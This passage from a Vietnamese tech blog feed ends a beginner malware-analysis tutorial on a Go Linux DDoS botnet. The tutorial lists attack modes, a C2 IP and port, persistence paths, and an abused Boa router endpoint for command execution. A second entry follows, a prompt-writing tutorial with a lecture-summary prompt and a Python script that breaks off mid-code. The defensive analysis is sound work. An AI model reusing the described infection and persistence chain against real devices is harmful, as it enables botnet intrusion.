<p>Từ các target được sinh ra qua <code class="language-plaintext highlighter-rouge">runtime.newproc</code> và logic dispatch trong <code class="language-plaintext highlighter-rouge">main.main</code>, có thể thấy mẫu hỗ trợ khá nhiều mode tấn công khác nhau. Các tên hàm phục hồi được cho ta một bức tranh khá rõ:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">main.main.func5</code>: UDP attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func6</code>: HEX attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func7</code>: TLS attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func8</code>: PPS raw-style flood</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func9</code>: TLS+ Direct attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func10</code>: TLS+ Proxy attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func11</code>: nhánh attack được kích hoạt bởi biến thể lệnh có 6 trường</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func12</code>: TCP attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func13</code>: OVH attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func14</code>: STD attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func15</code>: GAME attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func16</code>: PRIV7 POST attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func17</code>: FORT attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func18</code>: PING attack</li>
  <li><code class="language-plaintext highlighter-rouge">main.main.func19</code>: NTP amplification attack</li>
</ul>

<p>Ngoài ra, các cross-reference còn cho thấy liên hệ tới các method có tên như <code class="language-plaintext highlighter-rouge">Botnet_Methods.UdpFlood</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.TLSFlood</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.TLSPlusFlood</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.TLSPlusBypassFlood</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.NtpAmp</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.GameFlood</code>, <code class="language-plaintext highlighter-rouge">Botnet_Methods.FortAttack</code> hay <code class="language-plaintext highlighter-rouge">Botnet_Methods.Priv7Flood</code>.</p>

<p>Dựa vào naming convention cũng đủ thấy mục tiêu của mẫu là cung cấp cho operator nhiều profile flood khác nhau, bao gồm:</p>

<ul>
  <li>tấn công tầng vận chuyển như UDP/TCP,</li>
  <li>tấn công dựa trên TLS,</li>
  <li>các biến thể flood nhắm theo ứng dụng hoặc dịch vụ cụ thể,</li>
  <li>và cả amplification thông qua NTP.</li>
</ul>

<p>Đây là tập năng lực tương đối đa dạng, vượt xa một PoC đơn giản. Nó phản ánh một botnet client đã được đóng gói để phục vụ tác chiến DDoS thực dụng.</p>

<h2 id="6-ioc-và-chuỗi-hành-vi-tổng-quát">6. IoC và chuỗi hành vi tổng quát</h2>

<p>Trong phạm vi mẫu đang xét, các IoC nổi bật nhất là:</p>

<ul>
  <li>C2 IP: <code class="language-plaintext highlighter-rouge">192.142.55.159</code></li>
  <li>C2 port: <code class="language-plaintext highlighter-rouge">9111</code></li>
  <li>Tên file persistence: <code class="language-plaintext highlighter-rouge">sysd</code></li>
  <li>Các thư mục mà malware thử copy tới: <code class="language-plaintext highlighter-rouge">/usr/bin/</code>, <code class="language-plaintext highlighter-rouge">/data/local/tmp/</code>, <code class="language-plaintext highlighter-rouge">/tmp/</code>, <code class="language-plaintext highlighter-rouge">/var/run/</code></li>
  <li>Các file startup bị nhắm tới: <code class="language-plaintext highlighter-rouge">/etc/rc.local</code>, <code class="language-plaintext highlighter-rouge">/etc/rc.d/rc.local</code>, <code class="language-plaintext highlighter-rouge">/etc/init.d/boot.local</code>, <code class="language-plaintext highlighter-rouge">/etc/profile</code>, <code class="language-plaintext highlighter-rouge">/root/.bashrc</code>, <code class="language-plaintext highlighter-rouge">/home/user/.bashrc</code></li>
  <li>Chuỗi fingerprint mục tiêu: <code class="language-plaintext highlighter-rouge">Server: Boa</code></li>
  <li>Đường dẫn kiểm tra lộ cấu hình: <code class="language-plaintext highlighter-rouge">/config.dat</code></li>
  <li>Endpoint bị lạm dụng để thực thi lệnh: <code class="language-plaintext highlighter-rouge">/boafrm/formSysCmd</code></li>
  <li>Dấu hiệu phản hồi thành công sau khai thác: <code class="language-plaintext highlighter-rouge">syscmd.htm</code></li>
  <li>Các chuỗi log: <code class="language-plaintext highlighter-rouge">Connecting to CNC...</code>, <code class="language-plaintext highlighter-rouge">Connected to CNC!</code>, <code class="language-plaintext highlighter-rouge">Disconnected from CNC.</code>, <code class="language-plaintext highlighter-rouge">Auto-reconnecting (120s limit)...</code>, <code class="language-plaintext highlighter-rouge">Scanner started. Payload (Loader):</code></li>
</ul>

<p><strong>Ghép tất cả lại, ta có thể mô tả hành vi tổng quát của mẫu theo thứ tự như sau:</strong></p>

<ol>
  <li>Thiết lập persistence qua <code class="language-plaintext highlighter-rouge">main.AutoStart()</code> bằng cách tự copy thành <code class="language-plaintext highlighter-rouge">sysd</code> và chèn lệnh chạy vào các file startup.</li>
  <li>Kích hoạt 100 worker scanner/loader chạy song song để quét IP ngẫu nhiên.</li>
  <li>Fingerprint các thiết bị dùng Boa, kiểm tra lộ <code class="language-plaintext highlighter-rouge">config.dat</code>, rồi khai thác credential và web admin nếu khả thi.</li>
  <li>Lạm dụng <code class="language-plaintext highlighter-rouge">/boafrm/formSysCmd</code> để đẩy loader command tải và chạy <code class="language-plaintext highlighter-rouge">bins.sh</code> trên nạn nhân.</li>
  <li>Đồng thời duy trì kết nối tới C2 hard-code <code class="language-plaintext highlighter-rouge">192.142.55.159:9111</code>.</li>
  <li>Chờ và phân tích lệnh dạng text gửi từ operator.</li>
  <li>Spawn các goroutine tương ứng để thực hiện nhiều kiểu DDoS khác nhau.</li>
  <li>Nếu mất kết nối thì tự động thử tái kết nối để tiếp tục vòng đời bot.</li>
</ol>

<h2 id="7-kết-luận">7. Kết luận</h2>

<p>Với các bằng chứng hiện có, đây là một mẫu Go botnet client dành cho Linux, tích hợp đồng thời hai vai trò:</p>

<ul>
  <li>một agent duy trì kết nối thường trực với máy chủ điều khiển,</li>
  <li>và một thành phần scanner/loader chủ động có khả năng quét, khai thác và triển khai payload sang thiết bị khác.</li>
</ul>

<p>Điểm mạnh của mẫu không nằm ở kỹ thuật che giấu quá tinh vi, mà nằm ở kiến trúc vận hành đơn giản nhưng hiệu quả: dùng goroutine để đẩy mạnh tính song song, giữ kết nối C2 bền bỉ, và sẵn sàng nhận lệnh flood theo nhiều biến thể khác nhau. Điểm quan trọng nhất sau khi lần sâu vào <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code> là: đây không phải một downloader thông thường, mà là một worker xâm nhập hoàn chỉnh nhắm vào các thiết bị web admin dùng Boa. Với người mới học malware analysis, đây là một ví dụ rất tốt để thấy rằng chỉ cần lần đúng <code class="language-plaintext highlighter-rouge">main.main</code>, <code class="language-plaintext highlighter-rouge">runtime.newproc</code>, các chuỗi hạ tầng cứng và các hàm worker chính là đã có thể dựng lại gần như toàn bộ hành vi cốt lõi của mẫu.</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Level_1" /><category term="Malware" /><category term="Linux" /><category term="Reverse-Engineering" /><summary type="html"><![CDATA[Phân tích malware vốn không hề khó. Do đó tôi muốn viết bài hướng dẫn này dành cho các bạn trẻ đang tập sự cho lĩnh vực này. Đây là một mẫu malware được viết bằng Golang, chạy trên hệ điều hành họ Linux.]]></summary></entry><entry><title type="html">Kỹ năng viết prompt</title><link href="https://develbranch.com/tutorials/writing-prompts-is-a-skill.html" rel="alternate" type="text/html" title="Kỹ năng viết prompt" /><published>2025-11-09T17:00:00+00:00</published><updated>2025-11-09T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/writing-prompts-is-a-skill</id><content type="html" xml:base="https://develbranch.com/tutorials/writing-prompts-is-a-skill.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Tôi gần đây có tham dự một số lớp học buổi tối sau giờ làm việc. Việc học mấy tiếng buổi tối quả thật rất tốn sức. Do đó, nếu một công cụ giúp tôi tóm tắt bài học để có thể tra lại sau khi học thì quả là tuyệt vời. Lúc này, tôi nghĩ ngay đến việc dùng AI để tóm tắt bài học, tra cứu video khi cần và cần biết chính xác thời điểm tương ứng với bài học để tôi có thể seek đến chính xác vị trí và xem chính xác nội dung cần tham khảo.</p>

<h2 id="cần-chuẩn-bị-những-gì">Cần chuẩn bị những gì?</h2>
<p>Để làm một “task” liên quan tới AI thì cần chuẩn bị 2 thứ:</p>
<ul>
  <li>80% ở Data Engineering (chuẩn bị dữ liệu đầu vào).</li>
  <li>20% ở Prompt Engineering (viết prompt hợp lý).</li>
</ul>

<h2 id="data-engineering">Data engineering</h2>
<ul>
  <li><em>Tải toàn bộ video về:</em> Task này hoàn toàn không khó gì, kể cả với các video “private”, cần một chút mẹo với trình duyệt là đủ.</li>
  <li><em>Tách audio từ video:</em> task này cần một lệnh đơn giản với công cụ miễn phí, mã nguồn mở <code class="language-plaintext highlighter-rouge">ffmpeg</code></li>
  <li><em>Chuyển đổi audio sang text:</em> OpenAI đã release một model khá ổn cho việc này, có tên là <a href="https://github.com/openai/whisper">whisper</a>: Robust Speech Recognition via Large-Scale Weak Supervision. Điểm tuyệt vời của model này là miễn phí, hoàn toàn có thể chạy với các GPU phổ thông, cần VRAM khá ít (model large chỉ cần 10 GB VRAM). Vì video của tôi là bài giảng của một giảng viên nói tiếng Việt nên tôi chọn model này. Model hoạt động trên máy tính cá nhân của tôi (CPU Ryzen 3900X, 64GB RAM, GPU 4060Ti 16GB VRAM) với tốc độ khá tốt: transcript audio dài 3 giờ tốn khoảng 30 phút. Với ngôn ngữ tiếng Việt, tôi chọn model large (https://github.com/openai/whisper?tab=readme-ov-file#available-models-and-languages)</li>
</ul>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Size</th>
      <th style="text-align: center">Parameters</th>
      <th style="text-align: center">English-only model</th>
      <th style="text-align: center">Multilingual model</th>
      <th style="text-align: center">Required VRAM</th>
      <th style="text-align: center">Relative speed</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">tiny</td>
      <td style="text-align: center">39 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">tiny.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">tiny</code></td>
      <td style="text-align: center">~1 GB</td>
      <td style="text-align: center">~10x</td>
    </tr>
    <tr>
      <td style="text-align: center">base</td>
      <td style="text-align: center">74 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">base.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">base</code></td>
      <td style="text-align: center">~1 GB</td>
      <td style="text-align: center">~7x</td>
    </tr>
    <tr>
      <td style="text-align: center">small</td>
      <td style="text-align: center">244 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">small.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">small</code></td>
      <td style="text-align: center">~2 GB</td>
      <td style="text-align: center">~4x</td>
    </tr>
    <tr>
      <td style="text-align: center">medium</td>
      <td style="text-align: center">769 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">medium.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">medium</code></td>
      <td style="text-align: center">~5 GB</td>
      <td style="text-align: center">~2x</td>
    </tr>
    <tr>
      <td style="text-align: center">large</td>
      <td style="text-align: center">1550 M</td>
      <td style="text-align: center">N/A</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">large</code></td>
      <td style="text-align: center">~10 GB</td>
      <td style="text-align: center">1x</td>
    </tr>
    <tr>
      <td style="text-align: center">turbo</td>
      <td style="text-align: center">809 M</td>
      <td style="text-align: center">N/A</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">turbo</code></td>
      <td style="text-align: center">~6 GB</td>
      <td style="text-align: center">~8x</td>
    </tr>
  </tbody>
</table>

<p>Với các transcript tiếng Anh, hoàn toàn có thể chọn model có kích thước nhỏ hơn (medium hoặc small) để tăng tốc độ.</p>

<p>Sau bước này, chúng ta sẽ có một file text chứa toàn bộ transcript của video.</p>

<h2 id="prompt-engineering">Prompt engineering</h2>

<p>Đây là 20% còn lại của task. Hầu hết chúng ta đang kỳ vọng quá nhiều vào AI, mong muốn nó phải biết hết và đưa cho mình một câu trả lời toàn diện, có chiều sâu. Đáp lại kỳ vọng này lại là một kết quả chung chung, đọc qua thì có vẻ “hợp lý”, nhưng thực thế lại thiếu chiều sâu và không có nhiều tác dụng.</p>

<p>Đối với tôi, model AI nào không quan trọng, vì khi dùng prompt đúng thì kết quả đầu ra tương đương nhau. Tuy nhiên, tôi khá thích các model mới như Claude sonnet 4.5 (Anthropic), ChatGPT-5 (OpenAI). Gemini 2.5 Pro (Google) cho kết quả cũng không tệ. Nếu đổi sang dùng DeepSeek thì chất lượng hơi giảm so với đánh giá của tôi, nhưng tôi cho rằng chấp nhận được. Một điểm quan tâm của tôi là giá thành. Các model AI cho kết quả tương đương thì chúng ta cứ chọn loại rẻ thôi.</p>

<p>Vấn đề chính nằm ở chỗ <em>“chúng ta đặt câu hỏi cho AI thế nào?”</em> . Mặc dù AI không thể thay thế con người, nhưng chỉ bằng cách tối ưu prompt cho AI, chúng ta sẽ giúp AI trả lời tốt hơn.</p>

<p>Chúng ta có thể sử dụng công thức sau cho việc viết prompt cho AI, tạm gọi là công thức C.O.R.G.I.C.E:</p>

<ul>
  <li><strong>Context (Bối cảnh)</strong>: Nói rõ đầu vào, hoàn cảnh, ngôn ngữ, cấu trúc dữ liệu sẵn có.</li>
  <li><strong>Output format</strong>: Khuôn mẫu đầu ra</li>
  <li><strong>Role (Vai trò)</strong>: Nhập vai để xác định phong cách. Đây là một phương pháp cho phép AI tương tác và tạo câu trả lời đúng với yêu cầu định ra.</li>
  <li><strong>Goal (Mục tiêu)</strong>: Kết quả cần đạt, giá trị cốt lõi của câu trả lời.</li>
  <li><strong>Instruction/Requirements (Hướng dẫn)</strong>: Đây là phần hướng dẫn chi tiết cách làm cụ thể cách làm cụ thể để AI biết cần làm từng bước nào.</li>
  <li><strong>Constraints (Ràng buộc)</strong>: Ràng buộc cứng cần tuân thủ. Đây là các “luật cấm” và ưu tiên định dạng. Có thể thêm các luật mô tả để AI chống “bịa” trong câu trả lời (“Do NOT invent”, “No hallucinations”, “No Yapping”,…)</li>
  <li><strong>Examples (Ví dụ)</strong>: minh họa để mô hình hiểu định dạng của dữ liệu.</li>
</ul>

<h3 id="ví-dụ-cụ-thể">Ví dụ cụ thể</h3>
<p>Quay trở lại vấn đề của tôi, từ công thức viết prompt trên, chúng ta có thể xây dựng một yêu cầu đầy đủ cho AI thực hiện như sau:</p>

<p><strong><em>Context (Bối cảnh)</em></strong></p>

<p>You are given a full transcript of an online lecture converted from video or audio.
Each line follows this structure:</p>

<p><code class="language-plaintext highlighter-rouge">[START -&gt; END] Utterance text</code></p>

<p>Example transcript lines:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>[8.44s -&gt; 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -&gt; 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Additional Context:</p>
<ul>
  <li>Instructor: Instructor’s name</li>
  <li>Transcript file: path_to_transcript.txt</li>
  <li>Note: Replace “Executive Summary” with “Tóm tắt các ý trọng tâm”.</li>
</ul>

<p><strong><em>Output Format</em></strong></p>

<p>Return the final result only in the following Markdown structure:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="rouge-code"><pre># [Lesson Title]  
- Instructor: [name or “not stated”]  
- Session date/time: [if stated] • Total speaking time (approx.): ~HH:MM:SS  
- Main objective(s): …  
- Prerequisites mentioned: …  

## Tóm tắt các ý trọng tâm (Executive Summary)
- 5–8 bullet points capturing the main takeaways.

## Table of Contents by Time
1. [hh:mm–hh:mm] Topic/Section — one-line gist  
2. [hh:mm–hh:mm] Topic/Section — one-line gist  
…

## Detailed Outline (time-anchored)
### [hh:mm–hh:mm] Section Title
- Key ideas:  
  - …
  - …
- Important definitions/frameworks:  
  - Term — short definition.
- Examples/demos/case studies:  
  - …
- Teacher’s guidance (tips, cautions, rules of thumb):  
  - …
- If relevant: equations/steps/checklists shown or described.
- Slide cues (if explicitly referenced): “Slide mentions …” [no fabrication]

## Methods / Systems Explained
- Name (e.g., “The Turtle system”): purpose, components, when/why to use, pros/cons, constraints, assumptions.

## Pros &amp; Cons / Comparisons (if discussed)
- …

## Q&amp;A / Misconceptions Addressed
- Question → concise answer [timestamp].  
- …

## Assignments / Action Items / Next Steps
- Practice items, deadlines, submissions, or readings.

## Resources Mentioned
- Books, articles, websites, datasets, code, or slide references (only if mentioned in transcript).

## Glossary of Terms (brief)
- Term: short definition.

## Key Quotes (optional, ≤5)
- “[translated quote]” — [timestamp]
</pre></td></tr></tbody></table></code></pre></div></div>
<p><strong><em>Role (Vai trò)</em></strong></p>

<p>You are an expert lecture summarizer.
Your expertise lies in producing faithful, structured, timestamp-anchored summaries of academic or professional lectures.</p>

<p><strong><em>Goal (Mục tiêu)</em></strong></p>

<p>Create a complete, accurate, and time-organized summary that helps learners quickly review the lesson content without hallucination or redundancy. Your summary should:</p>
<ul>
  <li>Capture definitions, frameworks, formulas, examples, teacher’s advice, and cautions.</li>
  <li>Structure content by topics/segments with clear timestamps.</li>
  <li>Be concise but comprehensive, and written in clear, natural Vietnamese.</li>
</ul>

<p><strong><em>Instructions (Hướng dẫn cụ thể)</em></strong></p>

<p>1) Use only transcript content. Do NOT invent slides, examples, or data not present in the text.</p>

<p>2) If unclear, write [unclear] instead of guessing.</p>

<p>3) Translate any quoted phrases into natural Vietnamese.</p>

<p>4) Remove filler talk (greetings, ums, repetition). Keep logistics only if they include instructions, deadlines, or assignments.</p>

<p>5) Merge short lines that share the same topic into a single summarized segment.</p>

<p>6) Normalize all times to the format hh:mm:ss.</p>

<p>7) Anchor each topic section with timestamps ([hh:mm–hh:mm]).</p>

<p>8) Use bullet points instead of long paragraphs.</p>

<p>9) Avoid repeating ideas or writing generic comments.</p>

<p>10) Respect the Markdown format strictly.</p>

<p><strong><em>Constraints (Ràng buộc)</em></strong></p>
<ul>
  <li>Faithfulness: No hallucinations or assumptions. Everything must come directly from the transcript.</li>
  <li>Language: Final output must be written in Vietnamese.</li>
  <li>Format: Return only the Markdown summary.</li>
  <li>Completeness: Ensure all important parts of the lecture (definitions, examples, teacher’s comments, assignments) are covered.</li>
  <li>Clarity: Prefer brevity, logical order, and topic segmentation.</li>
</ul>

<p><strong><em>Examples (Ví dụ minh họa)</em></strong></p>

<p>Input snippet:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>[8.44s -&gt; 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -&gt; 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
[16.10s -&gt; 22.45s]  Hôm nay chúng ta sẽ học về khái niệm “marketing funnel” và cách ứng dụng nó trong chiến lược nội dung.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Output snippet (Markdown):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre># Marketing Funnel Overview  
- Instructor: Not stated  
- Session date/time: Not stated • Total speaking time: ~00:22:45  
- Main objectives: Understand the concept of the marketing funnel and its application in content strategy.

## Tóm tắt các ý trọng tâm
- The class begins with an overview of “marketing funnel.”  
- The instructor explains its stages and relevance to content planning.  
- Students are guided to apply the concept in practical scenarios.


✅ Final Reminder:
Return only the formatted Markdown summary as specified.
Do not include explanations, raw transcript, or additional commentary.
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="tóm-tắt-một-video">Tóm tắt một video</h2>

<p>Bước này có khá nhiều cách để làm:</p>
<ul>
  <li>Nếu bạn có sẵn tài khoản ChatGPT-plus trở lên và muốn dùng AI này, thì có thể tạo một <a href="https://help.openai.com/en/articles/8554397-creating-a-gpt">custom gpt</a>. System prompt chính là đoạn prompt trên.</li>
  <li>Trường hợp chúng ta muốn sử dụng ChatGPT bản thường (free) trở lên, không muốn tạo custom gpt, có thể lưu prompt phía trên thành một file, đặt tên là <code class="language-plaintext highlighter-rouge">instructions.md</code> và transcript sẽ lưu thành file <code class="language-plaintext highlighter-rouge">transcript.txt</code>. Với 2 file này, ChatGPT sẽ biết phải xử lý thế nào.</li>
  <li>Nếu đã quen với vscode, chúng ta hoàn toàn có thể thêm vào vscode một chế độ mới, để có thể thực hiện công việc này.</li>
  <li>Trường hợp chúng ta muốn mọi thứ trông giống lập trình viên hơn, có thể dùng đoạn code sau:</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
</pre></td><td class="rouge-code"><pre><span class="c1"># Dependencies: openai python-dotenv
</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">from</span> <span class="nn">openai</span> <span class="kn">import</span> <span class="n">OpenAI</span>
<span class="kn">from</span> <span class="nn">dotenv</span> <span class="kn">import</span> <span class="n">load_dotenv</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>

<span class="c1"># Load environment variables from .env file
</span><span class="n">load_dotenv</span><span class="p">()</span>

<span class="n">selected_model</span> <span class="o">=</span> <span class="s">"openai/gpt-5"</span>
<span class="n">input_token_price</span> <span class="o">=</span> <span class="mf">1.5</span><span class="o">/</span><span class="mi">1000</span>  <span class="c1"># Example price per 1K tokens for the selected model
</span><span class="n">output_token_price</span> <span class="o">=</span> <span class="mi">10</span><span class="o">/</span><span class="mi">1000</span>  <span class="c1"># Example price per 1K tokens for the selected model
</span>
<span class="n">system_prompt</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"system_prompt.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">summarize_text</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">text_content</span><span class="p">,</span> <span class="n">model</span><span class="o">=</span><span class="n">selected_model</span><span class="p">,</span> <span class="n">temperature</span><span class="o">=</span><span class="mf">0.7</span><span class="p">):</span>
    <span class="s">"""
    Summarizes the given text using the specified model.
    """</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">chat</span><span class="p">.</span><span class="n">completions</span><span class="p">.</span><span class="n">create</span><span class="p">(</span>
            <span class="n">model</span><span class="o">=</span><span class="n">model</span><span class="p">,</span>
            <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="s">"role"</span><span class="p">:</span> <span class="s">"system"</span><span class="p">,</span> <span class="s">"content"</span><span class="p">:</span> <span class="n">system_prompt</span><span class="p">},</span>
                <span class="p">{</span><span class="s">"role"</span><span class="p">:</span> <span class="s">"user"</span><span class="p">,</span> <span class="s">"content"</span><span class="p">:</span> <span class="n">text_content</span><span class="p">}</span>
            <span class="p">],</span>
            <span class="n">temperature</span><span class="o">=</span><span class="n">temperature</span><span class="p">,</span>
        <span class="p">)</span>
        <span class="n">summary</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">message</span><span class="p">.</span><span class="n">content</span>
        <span class="n">usage</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">usage</span>
        <span class="k">return</span> <span class="n">summary</span><span class="p">,</span> <span class="n">usage</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"An error occurred: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Summarize text file using AI."</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"input_file"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Path to the transcript .txt file."</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"output_file"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Path to the output file."</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="n">input_file</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">input_file</span>
    <span class="n">output_file</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">output_file</span>

    <span class="c1"># It's recommended to set the API key in an environment variable `API_KEY`
</span>    <span class="n">api_key</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">"API_KEY"</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">api_key</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Error: API_KEY environment variable not set."</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Please create a .env file and add API_KEY='your_key_here'"</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="n">base_url</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">"BASE_URL"</span><span class="p">,</span> <span class="s">"https://openrouter.ai/api/v1"</span><span class="p">)</span> <span class="c1"># set OpenAI key/openrouter
</span>
    <span class="n">client</span> <span class="o">=</span> <span class="n">OpenAI</span><span class="p">(</span>
        <span class="n">base_url</span><span class="o">=</span><span class="n">base_url</span><span class="p">,</span>
        <span class="n">api_key</span><span class="o">=</span><span class="n">api_key</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">input_file</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Processing file: </span><span class="si">{</span><span class="n">input_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
        <span class="n">summary</span><span class="p">,</span> <span class="n">usage</span> <span class="o">=</span> <span class="n">summarize_text</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">summary</span> <span class="ow">and</span> <span class="n">usage</span><span class="p">:</span>
            <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">output_file</span><span class="p">,</span> <span class="s">'w'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">summary</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Successfully summarized and saved to </span><span class="si">{</span><span class="n">output_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="c1"># Calculate cost (example pricing, replace with actual if known)
</span>            <span class="n">prompt_cost</span> <span class="o">=</span> <span class="p">(</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="n">input_token_price</span>
